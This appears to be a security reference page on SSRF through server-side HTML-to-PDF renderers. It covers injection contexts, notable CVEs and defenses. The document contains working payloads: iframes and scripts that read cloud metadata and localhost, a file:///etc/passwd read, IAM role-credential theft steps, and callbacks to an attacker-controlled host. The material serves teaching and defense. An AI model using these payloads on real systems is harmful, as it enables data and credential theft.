SSRF in PDF and HTML Renderers

HTML-to-PDF converters and headless browsers render attacker-controlled markup server-side, turning any src/href/fetch into an outbound request from the server — the “ultimate SSRF sink.”

How it works

Any “Export as PDF” / “Generate report / invoice / certificate” feature that renders user data through an HTML template is a candidate. The common pipeline is HTML template + dynamic data → headless renderer (Chromium/Puppeteer, wkhtmltopdf/QtWebKit, EvoPDF, dompdf, PhantomJS, iText/ColdFusion <cfdocument>) → PDF, run server-side and often asynchronously (a job queue), frequently in a cloud function (Lambda, Cloud Run) with an attached IAM role. When input is concatenated into the template without sanitization, you get HTML injection → the renderer fetches/executes whatever you inject. Fingerprint the engine via the User-Agent on your OAST callback (Chrome version, wkhtmltopdf, etc.).

Three injection contexts (BHIS): between tags, inside an attribute value, or inside an HTML-entity-encoded attribute. If raw <h1> renders as text, decode HTML entities in the request body first (the input may be pre-encoded and double-decoded by the backend). Burp Pro “External HTTP Interaction” / a rendered remote image both confirm an attribute context.

Techniques / payloads

Full SSRF (response reflected into the PDF):

<iframe src="http://169.254.169.254/latest/meta-data/" height=1000 width=1000></iframe>
<script>fetch('http://127.0.0.1').then(async r=>document.write(await r.text()))</script>
<script>var x=new XMLHttpRequest();x.onload=()=>document.write(this.responseText);x.open('GET','http://127.0.0.1');x.send()</script>
<embed src="http://localhost:8080/">

Blind SSRF / XSS-filter evasion (callback only, point at OAST):

<base href="http://127.0.0.1"/>   <link rel=stylesheet href="http://127.0.0.1">
<script src="http://127.0.0.1"></script>   <meta http-equiv=refresh content="0;url=http://127.0.0.1/">
<img src="http://127.0.0.1">   <svg src="http://127.0.0.1">   <input type=image src="http://127.0.0.1">
<video src=x onerror=fetch('//oast')>   <audio><source src="http://127.0.0.1"></audio>

Local file disclosure — most headless renderers run with disk access via file://:

<iframe src="file:///etc/passwd" height=1000 width=1000></iframe>

Windows “known-file” proof when output is finicky: <img src="file:///C:/Program Files/Internet Explorer/images/bing.ico"> (if the icon appears, file:// works). When file:// is blocked but HTML injection remains, HTTP-based SSRF (IMDS, internal services) still stands.

IMDSv1 role-credential theft (two requests): first <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> to get the role name, then fetch .../security-credentials/<role> for the keys. See Cloud Metadata Service Exploitation and IMDSv2.

Blind escalation uses a response oracle — usually response time (valid vs. filtered port), occasionally status-code/size — for internal port and host enumeration. See Blind SSRF and Out-of-Band Detection.

Notable cases

  • CVE-2024-34112 (Adobe ColdFusion <cfdocument>, pre-APSB24-41): file:// iframe blocked after APSB24-14, bypassed with <meta http-equiv="refresh" content="0; file:///etc/hosts"> staged from an attacker page loaded via <iframe src="https://attacker/meta.html">. Lucee’s <cfdocument> ignores <iframe> but still renders other SSRF-capable tags.
  • CVE-2026-126799 (Gotenberg 8.31.0–8.38.0): IsPublicIP() bypassed with an IPv6 zone identifier (%25eth0) appended to the unspecified address / blocked prefixes in downloadFrom, webhook, or Chromium/LibreOffice URLs; unauthenticated, response read back in the PDF.
  • CVE-2026-134826 (erxes insurance_api < 3.4.14): the contract-template GraphQL mutations lacked authentication, so anyone could write template HTML. Headless Chromium rendered it in generateContractPDF, pulling internal-network content and customer fields into the generated PDFs. A missing-auth bug became a renderer SSRF (GHSA-m22g-6wm2-c3qq; GraphQL Authorization Flaws).
  • CVE-2023-33733: ReportLab RML/HTML injection escalates to Python code execution inside the renderer.
  • Field reports: EvoPDF and wkhtmltopdf notes apps exporting to PDF → SSRF → LFD; headless-Chrome generators with a stale, exploitable version point to RCE. The class is architectural, not vendor-specific.

Defenses

  • Don’t render untrusted HTML; template with auto-escaping and an allowlist of tags/attributes. Treat PDF generation as a Partial SSRF-equivalent sink even when “only data” is injected.
  • Disable local-file access (wkhtmltopdf --disable-local-file-access), disable JS where unused, block file:///gopher:///non-HTTP schemes.
  • Run the renderer in an egress-restricted sandbox with no route to 169.254.169.254 or internal ranges; enforce IMDSv2. Resolve-then-pin the destination and re-validate on redirects.
  • General guidance: SSRF Prevention.

Sources